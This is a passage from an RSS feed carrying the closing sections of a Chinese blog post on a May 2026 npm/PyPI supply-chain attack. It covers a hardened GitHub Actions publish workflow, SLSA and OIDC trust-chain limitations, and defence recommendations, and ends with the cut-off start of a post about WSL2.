&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;run:&amp;nbsp;npm&amp;nbsp;publish&amp;nbsp;--provenance&lt;/pre&gt;&lt;pre style=&quot;box-sizing: border-box; outline: 0px; margin-top: 1.2em; margin-bottom: 24px; padding: 0px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; line-height: 22px; max-height: 340px; border-radius: 5px; overflow-y: hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; background-color: rgb(255, 255, 255);&quot;&gt;#&amp;nbsp;正确的安全配置name:&amp;nbsp;Publish&amp;nbsp;Packageon:
&amp;nbsp;&amp;nbsp;push:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;branches:&amp;nbsp;[main]
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tags:&amp;nbsp;[&amp;#39;v*&amp;#39;]&amp;nbsp;&amp;nbsp;#&amp;nbsp;仅在打标签时发布jobs:
&amp;nbsp;&amp;nbsp;publish:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;runs-on:&amp;nbsp;ubuntu-latest&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;environment:&amp;nbsp;production&amp;nbsp;&amp;nbsp;#&amp;nbsp;使用受保护的环境
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;permissions:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;id-token:&amp;nbsp;write&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;contents:&amp;nbsp;read&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;steps:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;uses:&amp;nbsp;actions/checkout@v4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;with:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;persist-credentials:&amp;nbsp;false&amp;nbsp;&amp;nbsp;#&amp;nbsp;禁用持久化凭证
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;run:&amp;nbsp;npm&amp;nbsp;ci&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;run:&amp;nbsp;npm&amp;nbsp;test&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;name:&amp;nbsp;Publish&amp;nbsp;to&amp;nbsp;npm&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;uses:&amp;nbsp;actions/setup-node@v4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;with:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;node-version:&amp;nbsp;20
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;registry-url:&amp;nbsp;&amp;#39;https://registry.npmjs.org&amp;#39;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;run:&amp;nbsp;npm&amp;nbsp;publish&amp;nbsp;--provenance&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;env:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NODE_AUTH_TOKEN:&amp;nbsp;${{&amp;nbsp;secrets.NPM_TOKEN&amp;nbsp;}}&lt;/pre&gt;&lt;h3 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 18px; color: rgb(79, 79, 79); line-height: 28px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;_226&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;六、系统性风险暴露与前瞻性思考&lt;/h3&gt;&lt;h4 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 16px; color: rgb(79, 79, 79); line-height: 26px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;61_SLSA_228&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;6.1 SLSA安全框架的局限性&lt;/h4&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;本次攻击最令人警醒的一点是，&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;所有恶意包都带有合法的SLSA 3级安全签名&lt;/span&gt;。SLSA（Supply-chain Levels for Software Artifacts）是目前行业内广泛采用的软件供应链安全框架，旨在通过标准化的安全控制来防止软件篡改。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;然而，本次攻击表明，SLSA只能保证&amp;quot;软件包在构建过程中没有被篡改&amp;quot;，但无法保证&amp;quot;构建过程本身是安全的&amp;quot;。如果攻击者能够劫持构建流水线，那么他们就可以生成完全符合SLSA标准的恶意软件。这意味着我们需要重新思考软件供应链安全的边界，将安全控制从&amp;quot;制品验证&amp;quot;延伸到&amp;quot;构建过程的全生命周期验证&amp;quot;。&lt;/p&gt;&lt;h4 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 16px; color: rgb(79, 79, 79); line-height: 26px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;62_OIDC_234&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;6.2 OIDC信任链的系统性漏洞&lt;/h4&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;GitHub Actions OIDC机制的设计初衷是为了提高安全性，避免使用长期访问令牌。但本次攻击暴露了OIDC信任链中一个致命的弱点：&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;一旦身份提供者（GitHub）的运行时环境被攻破，整个信任链就会完全崩溃&lt;/span&gt;。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;未来，我们需要建立更加细粒度的OIDC权限控制机制，例如：&lt;/p&gt;&lt;ul style=&quot;box-sizing: border-box; outline: 0px; margin-bottom: 24px; padding: 0px; list-style-position: initial; list-style-image: initial; font-size: 16px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;限制OIDC令牌的使用范围，只能用于发布特定的包&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;为OIDC令牌添加更短的过期时间（如5分钟）&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;要求多因素认证才能发布生产版本的包&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;建立OIDC令牌使用的审计和异常检测系统&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 16px; color: rgb(79, 79, 79); line-height: 26px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;63__244&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;6.3 跨生态攻击成为新常态&lt;/h4&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;本次攻击是首次同时攻陷npm和PyPI两大主流包管理平台的大规模供应链攻击。随着越来越多的项目同时使用多种编程语言和包管理工具，跨生态攻击将成为未来软件供应链攻击的主要趋势。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;攻击者只需要攻破一个生态中的一个核心项目，就可以利用该项目维护者的凭证，横向污染其他生态中的项目。这要求我们建立统一的跨生态软件供应链安全标准和威胁情报共享机制。&lt;/p&gt;&lt;h3 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 18px; color: rgb(79, 79, 79); line-height: 28px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;_250&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;七、未来防御体系建设建议&lt;/h3&gt;&lt;h4 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 16px; color: rgb(79, 79, 79); line-height: 26px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;71__252&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;7.1 技术层面&lt;/h4&gt;&lt;ol style=&quot;box-sizing: border-box; outline: 0px; margin-bottom: 24px; padding: 0px; list-style-position: initial; list-style-image: initial; font-size: 16px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;采用零信任架构&lt;/span&gt;：默认不信任任何外部依赖，所有依赖在使用前都必须经过严格的安全扫描和人工审核。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;使用私有包仓库&lt;/span&gt;：建立企业内部的私有包仓库，只同步经过安全验证的依赖版本。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;实施依赖锁定&lt;/span&gt;：在项目中使用&lt;code style=&quot;box-sizing: border-box; outline: 0px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; font-size: 14px; line-height: 22px; color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 2px; padding: 2px 4px; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;package-lock.json&lt;/code&gt;或&lt;code style=&quot;box-sizing: border-box; outline: 0px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; font-size: 14px; line-height: 22px; color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 2px; padding: 2px 4px; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;poetry.lock&lt;/code&gt;文件，精确锁定所有依赖的版本号。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;部署运行时防护&lt;/span&gt;：在生产环境中部署运行时应用程序保护（RASP）工具，实时检测和阻止恶意代码的执行。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h4 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 16px; color: rgb(79, 79, 79); line-height: 26px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;72__259&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;7.2 流程层面&lt;/h4&gt;&lt;ol style=&quot;box-sizing: border-box; outline: 0px; margin-bottom: 24px; padding: 0px; list-style-position: initial; list-style-image: initial; font-size: 16px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;建立应急响应预案&lt;/span&gt;：制定详细的软件供应链攻击应急响应预案，并定期进行演练。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;实施最小权限原则&lt;/span&gt;：严格限制CI/CD流水线和开发者的访问权限，只授予完成工作所必需的最小权限。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;加强代码审查&lt;/span&gt;：对所有外部贡献的PR进行严格的代码审查，特别注意CI/CD配置文件和测试代码的变更。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;定期安全审计&lt;/span&gt;：定期对项目的依赖和CI/CD流水线进行全面的安全审计。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h4 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 16px; color: rgb(79, 79, 79); line-height: 26px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;73__266&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;7.3 行业层面&lt;/h4&gt;&lt;ol style=&quot;box-sizing: border-box; outline: 0px; margin-bottom: 24px; padding: 0px; list-style-position: initial; list-style-image: initial; font-size: 16px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;建立威胁情报共享机制&lt;/span&gt;：行业内的企业和组织应该加强合作，共享软件供应链攻击的威胁情报。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;推动安全标准制定&lt;/span&gt;：共同推动制定更加严格的软件供应链安全标准和规范。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;支持开源安全&lt;/span&gt;：加大对开源软件安全的投入，支持开源项目建立完善的安全保障体系。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 18px; color: rgb(79, 79, 79); line-height: 28px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;_272&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;八、总结与展望&lt;/h3&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;2026年5月11日的这场供应链大地震，给全球软件行业敲响了警钟。它表明，软件供应链安全已经成为企业安全的生命线，任何一个微小的漏洞都可能引发灾难性的后果。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;本次攻击也暴露了当前软件供应链安全体系中存在的诸多系统性问题，包括CI/CD流水线安全、OIDC信任链、SLSA框架的局限性等。解决这些问题需要技术、流程和行业层面的共同努力。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;未来，软件供应链安全将从&amp;quot;可选配置&amp;quot;转变为&amp;quot;必备能力&amp;quot;。企业需要建立全方位、多层次的软件供应链安全防御体系，才能在日益复杂的网络安全环境中保护自己的业务和数据。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;作为开发者，我们也应该提高安全意识，养成良好的安全习惯，共同守护我们赖以生存的软件生态系统。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Fri, 15 May 2026 00:30:56 +0800</pubDate></item><item><title>重新尝试 WSL2 和 Windows Terminal 后感觉不错</title><link>https://www.kinber.cn/post/6548.html</link><description>&lt;div id=&quot;title&quot; style=&quot;text-align: center; font-size: 2em; line-height: 1.5em; padding-bottom: 10px; margin: 20px 0px; border-bottom: 1px dashed rgb(238, 238, 238); font-family: STFangSong, Helvetica, Arial, Vernada, Tahoma, STXihei, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Songti SC&amp;quot;, SimSun, Heiti, sans-serif; text-wrap: wrap;&quot;&gt;重新尝试 WSL2 和 Windows Terminal 后感觉不错&lt;/div&gt;&lt;div id=&quot;content&quot; class=&quot;markdown-body&quot; style=&quot;text-size-adjust: 100%; color: rgb(51, 51, 51); overflow: hidden; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Segoe UI&amp;quot;, Arial, freesans, sans-serif; font-size: 16px; line-height: 1.6; overflow-wrap: break-word; text-wrap: wrap;&quot;&gt;&lt;p style=&quot;margin-bottom: 16px; text-align: justify; box-sizing: border-box; margin-top: 0px !important;&quot;&gt;就不说怎么安装了，见&amp;nbsp;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/wsl/wsl2-install&quot; rel=&quot;nofollow&quot; 